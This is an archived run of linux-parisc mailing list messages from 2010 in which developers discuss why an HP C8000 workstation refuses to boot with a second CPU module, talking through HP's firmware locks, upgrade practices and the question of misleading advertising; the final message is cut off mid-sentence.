> to be erased/reset to restore the menu.  Possibly, reflashing the
> bch firmware would do it, or maybe there is a ODE command to reset
> the config.
> 
> You might try downloading the firmware update.  At least for the
> rp3440, one burns an ODE CD.  Then, one boots the CD and uses various
> ODE commands to flash the firmware.  There was definitely a lot
> more stuff on the CD than just the utilities to flash the firmware.
> Of course, one mistake and you brick the system.  It would probably
> take HP specific JTAG tools to recover.
> 
> Dave

I found some HPUX binary, as a firmware upgrade for C8000, that I didn't 
run (it says it upgrades to the same version that I have).

I'm quite scared to run rp3440 CD on an unsupported system. But I'll try 
anyway.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 15:42:13 -0400
Organization: nrc.ca
Lines: 72
Approved: news@gmane.org
Message-ID: <20101023194212.GA23609@hiauly1.hia.nrc.ca>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com> <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz> <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com> <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz> <1287853058.3003.18.camel@mulgrave.site> <alpine.DEB.1.10.1010231954040.26539@artax.karlin.mff.cuni.cz>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287862960 26622 80.91.229.12 (23 Oct 2010 19:42:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 19:42:40 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 21:42:38 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9jzB-0004Yg-RF
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 21:42:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932278Ab0JWTmR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 15:42:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1208 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932284Ab0JWTmP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 15:42:15 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D181B4D30; Sat, 23 Oct 2010 15:42:13 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.1.10.1010231954040.26539@artax.karlin.mff.cuni.cz>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3153
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3153>

On Sat, 23 Oct 2010, Mikulas Patocka wrote:

> > It's fairly standard for the enterprise space:  Both HP and IBM actually
> > sell boxes fully loaded but disable unpaid for capabilities in the
> > firmware (i.e. sell you a 2-cpu box that really contains 4 cpus so they
> > then sell a firmware upgrade as two extra cpus); enterprise users
> > actually like the convenience of not having to haul away and replace the
> > box.
> 
> This is a different case. You can't accuse a contractor if you order two 
> CPUs and get four :)

I agree.  HP didn't provide the extra cpu module.  Nothing in the technical
documentation indicates that you can't add another processor module without
a firmware update.  In fact, they provide instructions on how to add one.

I don't believe there is any form of capability license involved here.

As far as I can tell, firmware updates for the c8000 are freely available
on HP's site.

> It says "lets YOU grow and configure the system as needed". There is that 
> pronoun "YOU".

Also agree.  The whitepaper and product brief for the c8000 are very clear
on users being able to expand their systems and keep ownership costs low.

It's possible the motherboard of Mikulas' system is broken, or doesn't
work with a second processor module.  So, support for it is disabled.
Selling reduced versions of chips is very common in the semiconductor
industry to increase yield.

I would check the label on the product.

> I don't even know which locks are in my machine --- I added 1GB memory and 
> a 32-bit PCI serial card and it worked ... how can I find what else can or 
> can't I add?
> 
> For example: Can I replace the 0.9GHz CPU with a faster 1.1GHz? 
> (obviously, it is needed to know it before purchasing the CPU)

It's a good question, but probably there isn't a clear answer.  It
may work, but the system probably wasn't tested with the faster processor.
The faster processor will likely use more power and create an additional
thermal load.

Still, there is the expectation in the current workstation market that
the processors in a system can be upgraded provided they are compatible.

> But it seems that people on this list don't know about those HP locks too 
> :-(

Most don't have any affiliation with HP.  I have been on this list a
long time, and don't believe this issue has been discussed before,
although the kernel maintainers may be aware of it.

In general, this kind of hardware information is proprietory.  The
PC architecture only opened up because of a lot of competition and
reverse engineering.  Even there, you may need a NDA to access some
documentation.  It costs $3000/year to access PCI-SIG documents, etc.

James, what kind of firmware update is needed?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 15:58:14 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20101023195814.GP8332@bombadil.infradead.org>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
 <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
 <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
 <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
 <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz>
 <1287853058.3003.18.camel@mulgrave.site>
 <alpine.DEB.1.10.1010231954040.26539@artax.karlin.mff.cuni.cz>
 <20101023194212.GA23609@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287863924 30433 80.91.229.12 (23 Oct 2010 19:58:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 19:58:44 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 21:58:42 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9kEj-0000Li-FQ
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 21:58:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758467Ab0JWT6j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 15:58:39 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59729 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758462Ab0JWT6j (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 15:58:39 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P9kEI-0000W9-Oq; Sat, 23 Oct 2010 19:58:14 +0000
Content-Disposition: inline
In-Reply-To: <20101023194212.GA23609@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3154>

On Sat, Oct 23, 2010 at 03:42:13PM -0400, John David Anglin wrote:
> Most don't have any affiliation with HP.  I have been on this list a
> long time, and don't believe this issue has been discussed before,
> although the kernel maintainers may be aware of it.
> 

I honestly didn't know about it... I mean, I knew that HP did similar
things on IA-64 where new cpus could be 'purchased' and spun up with no
downtime. But I didn't realize the C8000 had such limitations (mine is
an early prototype so there was no possibility for upgrade and I never
bothered.)

Hopefully on Monday someone from HP who's still around may be able to
provide the tool since any support contracts are probably expired given
they haven't been sold since 2006...

We should add a note to the faq about this.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 15:29:37 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1287865777.3003.31.camel@mulgrave.site>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz>
	 <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com>
	 <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz>
	 <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
	 <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz>
	 <1287853058.3003.18.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010231954040.26539@artax.karlin.mff.cuni.cz>
	 <20101023194212.GA23609@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287865798 4984 80.91.229.12 (23 Oct 2010 20:29:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 20:29:58 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 22:29:56 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9kiy-0007Uy-0h
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 22:29:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758628Ab0JWU3n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 16:29:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60127 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758456Ab0JWU3l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 16:29:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 12E5E8EE0F8;
	Sat, 23 Oct 2010 13:29:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UkPf27tqsqVL; Sat, 23 Oct 2010 13:29:39 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 86B518EE0F1;
	Sat, 23 Oct 2010 13:29:39 -0700 (PDT)
In-Reply-To: <20101023194212.GA23609@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3155>

On Sat, 2010-10-23 at 15:42 -0400, John David Anglin wrote:
> > But it seems that people on this list don't know about those HP locks too 
> > :-(
> 
> Most don't have any affiliation with HP.  I have been on this list a
> long time, and don't believe this issue has been discussed before,
> although the kernel maintainers may be aware of it.
> 
> In general, this kind of hardware information is proprietory.  The
> PC architecture only opened up because of a lot of competition and
> reverse engineering.  Even there, you may need a NDA to access some
> documentation.  It costs $3000/year to access PCI-SIG documents, etc.
> 
> James, what kind of firmware update is needed?

I have no idea ... I'm only deducing this from what had to be done to
ion to make it a 4-way.  We had similar upgrades to some of the A180s as
well.  It is unusual for a workstation class system, but the "too many
CPUs" message seems definitive.  Perhaps the firmware is essentially the
same as a server class and it's inheriting this behaviour.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sat, 23 Oct 2010 17:50:07 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20101023215008.37BC94D30@hiauly1.hia.nrc.ca>
References: <1287865777.3003.31.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287870613 22095 80.91.229.12 (23 Oct 2010 21:50:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 21:50:13 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, mikulas@artax.karlin.mff.cuni.cz,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 23 23:50:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9lyd-0007kx-2H
	for glpp-linux-parisc@lo.gmane.org; Sat, 23 Oct 2010 23:50:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757948Ab0JWVuK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 17:50:10 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1218 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757921Ab0JWVuJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 17:50:09 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 37BC94D30; Sat, 23 Oct 2010 17:50:08 -0400 (EDT)
In-Reply-To: <1287865777.3003.31.camel@mulgrave.site> from "James Bottomley" at Oct 23, 2010 03:29:37 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3156>

> > James, what kind of firmware update is needed?
> 
> I have no idea ... I'm only deducing this from what had to be done to
> ion to make it a 4-way.  We had similar upgrades to some of the A180s as
> well.  It is unusual for a workstation class system, but the "too many
> CPUs" message seems definitive.  Perhaps the firmware is essentially the
> same as a server class and it's inheriting this behaviour.

I agree the message appears definitive, but my impression from searching
the internet and the technical reference is that the c8000 doesn't require
firmware upgrades like the servers to add a processor module.

I see that various suppliers are selling processor upgrade modules
(AB630A : 900 MHz 32 MB L2) for c8000.  There are warnings that speed
and cache must match.  Some c8000s were sold without L2 cache, but
I don't see any processor modules without cache for sale.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sun, 24 Oct 2010 01:45:07 +0200 (CEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010240126270.14391@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com> <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz> <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com>
 <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz> <1287853058.3003.18.camel@mulgrave.site> <alpine.DEB.1.10.1010231954040.26539@artax.karlin.mff.cuni.cz> <20101023194212.GA23609@hiauly1.hia.nrc.ca>
 <20101023195814.GP8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1287877513 11838 80.91.229.12 (23 Oct 2010 23:45:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 23 Oct 2010 23:45:13 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 01:45:10 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9nlu-00036Y-4H
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 01:45:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758288Ab0JWXpJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 19:45:09 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:39041 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758202Ab0JWXpI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 19:45:08 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id ABD8698064; Sun, 24 Oct 2010 01:45:07 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 42AD698062;
	Sun, 24 Oct 2010 01:45:07 +0200 (CEST)
In-Reply-To: <20101023195814.GP8332@bombadil.infradead.org>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3157>



On Sat, 23 Oct 2010, Kyle McMartin wrote:

> On Sat, Oct 23, 2010 at 03:42:13PM -0400, John David Anglin wrote:
> > Most don't have any affiliation with HP.  I have been on this list a
> > long time, and don't believe this issue has been discussed before,
> > although the kernel maintainers may be aware of it.
> 
> I honestly didn't know about it... I mean, I knew that HP did similar
> things on IA-64 where new cpus could be 'purchased' and spun up with no
> downtime.

I suppose that that IA-64 booted with spare CPUs but didn't use them. My 
C8000 doesn't boot with two CPUs at all. It drops into PDC prompt, saying 
the warning about too many CPUs, and the "BO" command refuses to boot, 
asking the user to review the warnings.

> But I didn't realize the C8000 had such limitations (mine is
> an early prototype so there was no possibility for upgrade and I never
> bothered.)
>
> Hopefully on Monday someone from HP who's still around may be able to
> provide the tool since any support contracts are probably expired given
> they haven't been sold since 2006...

It would be nice if they provided the tool and cleared the false 
advertising problem.

I'm quite afraid that a single HP engineer can't release them. More 
likely, someone higher up the corporate command chain declared that the 
tools are "proprietary" and didn't realize that such restriction really 
makes the product deviate from advertised capabilities.

> We should add a note to the faq about this.
> 
> --Kyle

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: False advertising (was: C8000 cpu upgrade problem)
Date: Sun, 24 Oct 2010 03:18:32 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <7FB655BE-108B-4FF6-888A-249C29064838@parisc-linux.org>
References: <alpine.DEB.1.10.1010221555220.3134@artax.karlin.mff.cuni.cz> <AANLkTi=YJJgP-tDhh2g6D8d8BkKa-ENoJankd-ZMV+i2@mail.gmail.com> <alpine.DEB.1.10.1010231118350.23687@artax.karlin.mff.cuni.cz> <AANLkTikD5cvJdAxUg7zj0ySM9z6fThE-9H9txVpNC9Ez@mail.gmail.com> <alpine.DEB.1.10.1010231620190.12135@artax.karlin.mff.cuni.cz> <1287853058.3003.18.camel@mulgrave.site> <AANLkTimSda7Ki+uUW-hgkxhMhjeP7R5N3wkHb-hTyb4L@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1287883127 27559 80.91.229.12 (24 Oct 2010 01:18:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Oct 2010 01:18:47 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 24 03:18:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P9pEO-00008K-34
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Oct 2010 03:18:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752465Ab0JXBSj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Oct 2010 21:18:39 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:46050 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751815Ab0JXBSi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Oct 2010 21:18:38 -0400
Original-Received: by wyf28 with SMTP id 28so2177879wyf.19
        for <linux-parisc@vger.kernel.org>; Sat, 23 Oct 2010 18:18:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=vS+Ot45uVRD15IavNSNOVdv7B3xR3A9E50sF631CliE=;
        b=BBpkSsyegBF+M+/KylHU9UfKqCEEghtcbwZ0/xxxUDcK7RBviAVdwPn5rv4PvYU5ml
         KwyBN9YohGAWeewSxrPPPBX+xkIJV+1iYCn16Oop/Mpw2QsWJNh3FYOa4kK5B5sm9G5q
         h0JdkKEZ1ay19EShmjAW715228PVuyWF+qu8A=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=mpertMt2GaVc+893yQqZXVb88LpORaoG2HkIIU1OXB2AiXa5tNuGysSh+MhVlRpLVO
         dQDIJ0K7L0tetf8Wrm4wbpH0GIwV2rEyMN7i0l1JN4EdHstL8MKIfW3AwbFGh+ujxsNj
         Y3EFQs0RzH2WqzQNsJOvKJ13Oi8D2X9wNu9FQ=
Original-Received: by 10.216.17.207 with SMTP id j57mr1276291wej.68.1287883115830;
        Sat, 23 Oct 2010 18:18:35 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id f31sm3079650wej.15.2010.10.23.18.18.33
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 23 Oct 2010 18:18:34 -0700 (PDT)
In-Reply-To: <AANLkTimSda7Ki+uUW-hgkxhMhjeP7R5N3wkHb-hTyb4L@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3158
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3158>

Le 23 oct. 10 =E0 19:14, Matt Turner a =E9crit :

> Poor HP.
>
> Seriously though. From a glance, the C8000 seems to be the most
> capable PA-RISC system for someone who wants to help with
> Linux-on-PARISC. Clearly, people like upgrading (and being able to
> upgrade) their computers. If I were to buy a C8000 I'd be interested
> in figuring out how to find a second CPU, add more RAM, and install
> another PCI card. But these debilitating restrictions prevent any of
> this.
>
> So, my question is, if you and Carlos knew about this previously
> (which I assume you did by your responses, but I may be wrong) then
> why can I not find this information anywhere on parisc-linux.org or i=
n
> the appropriate mailing list archives?

Disclaimer: IANAL and I don't know C8000.

I suppose we can't put the procedure about how to to do that on the =20
website for two reasons:

1) if my assumptions are right, enabling the extra CPU requires =20
entering Manufacturing Mode (MFG in PDC parlance) in order to change =20
the Model String (suppositions based on previous experience with a =20
different machine), which itself needs a hardware-specific password, =20
generated with an HP tool using the crypto challenge prompted by the =20
firmware when trying to activate this mode (been there on another =20
